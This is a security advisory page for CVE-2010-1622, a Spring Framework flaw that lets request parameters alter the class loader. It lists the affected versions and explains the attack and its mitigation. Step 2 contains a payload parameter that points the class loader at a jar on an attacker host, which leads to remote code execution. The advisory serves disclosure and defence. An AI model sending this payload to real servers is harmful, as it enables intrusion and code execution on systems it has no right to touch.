SecurityReason.com - Our Reason is

Security

Register | Forget Password | Login
SecurityReason
WLB
Services
RSS
Corporate
Note

If you have found a vulnerability, please send to our SecurityAlert Database :
secalert()securityreason()com

Also if you have new ( 0-day ) exploit, please send to our ExploitAlert Archive :
exploit()securityreason()com

Home arrow SecurityAlert Database

Arrow  Topic :

Spring Framework 3.0.2 execution of arbitrary code


Arrow  SecurityAlert : 7526
Arrow  CVE : CVE-2010-1622
Arrow  CWE : CWE-94
Arrow  SecurityRisk : Medium  Security Risk Medium  (About)
Arrow  Remote Exploit : Yes
Arrow  Local Exploit : No
Arrow  Victim interaction required : Yes
Arrow  Exploit Available : No
Arrow  Credit : s2-security
Arrow  Published : 23.06.2010

Arrow  Affected Software : springsource:spring_framework:2.5.0
springsource:spring_framework:2.5.1
springsource:spring_framework:2.5.2
springsource:spring_framework:2.5.3
springsource:spr2000ing_framework:2.5.4
springsource:spring_framework:2.5.5
springsource:spring_framework:2.5.6
springsource:spring_framework:2.5.7
springsource:spring_framework:3.0.2
springsource:spring_framework:3.0.1
springsource:spring_framework:3.0.0



Arrow  Advisory Content :  

CVE-2010-1622: Spring Framework execution of arbitrary code

Severity: Critical

Vendor:
SpringSource, a division of VMware

Versions Affected:
3.0.0 to 3.0.2
2.5.0 to 2.5.6.SEC01 (community releases)
2.5.0 to 2.5.7 (subscription customers)

Earlier versions may also be affected

Description:
The Spring Framework provides a mechanism to use client provided data to
update the properties of an object. This mechanism allows an attacker to
modify the properties of the class loader used to load the object (via
'class.classloader'). This can lead to arbitrary command execution since,
for example, an attacker can modify the URLs used by the class loader to
point to locations controlled by the attacker.

Example:
This example is based on a Spring application running on Apache Tomcat.
1. Attacker creates attack.jar and makes it available via an HTTP URL. This
jar has to contain following:
- META-INF/spring-form.tld - defining spring form tags and specifying that
they are implemented as tag files and not classes;
- tag files in META-INF/tags/ containing tag definition (arbitrary Java
code).

2. Attacker then submits HTTP request to a form controller with the
following HTTP parameter:
class.classLoader.URLs[0]=jar:http://attacker/attack.jar!/ At this point
the zeroth element of the WebappClassLoader's repositoryURLs property will
be overwritten with attacker's URL.

3. Later on, org.apache.jasper.compiler.TldLocationsCache.scanJars() will
use WebappClassLoader's URLs to resolve tag libraries and all tag files
specified in TLD will be resolved against attacker-controller jar (HTTP
retrieval of the jar file is performed by the URL class).

Mitigation:
All users may mitigate this issue by upgrading to 3.0.3
Community users of 2.5.x and earlier may also mitigate this issue by
upgrading 2.5.6.SEC02
Subscription users of 2.5.x and earlier may also mitigate this issue by
upgrading 2.5.6.SEC02 or 2.5.7.SR01

Credit:
The issue was discovered by Meder Kydyraliev, Google Security Team

References:
[1] http://www.springsource.com/security/spring-framework



Arrow  References :

http://www.springsource.com/security/cve-2010-1622
http://www.securityfocus.com/bid/40954
http://www.securityfocus.com/archive/1/511877
http://www.exploit-db.com/exploits/13918




Arrow  Feedback :

If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com.
Alert

libc/fnmatch(3) DoS

Security Risk Medium- 2011-05-13

Allow attacker to denial of service apache 2.2.17 server

Apache RSS Apache Alert

» Apache HTTP Server Denial
   of Service Vulnerability

» Multiple Vendors
   libc/fnmatch(3) DoS (incl
   apache poc)

» Apache Continuum
   cross-site scripting
   vulnerability

» Apache Tomcat DoS
   Vulnerability

PHP RSS PHP Alert

» PHP Hashtables Denial of
   Service

» PHP 5.3.6 multiple null
   pointer dereference

» PHP 5.3.6 ZipArchive
   invalid use glob(3)

» libzip 0.9.3
   _zip_name_locate NULL
   Pointer Dereference (incl
   PHP 5.3.5)

ADT

Protect your family and valuables with Home Security Systems

Copyright © SecurityReason.com. All Rights Reserved.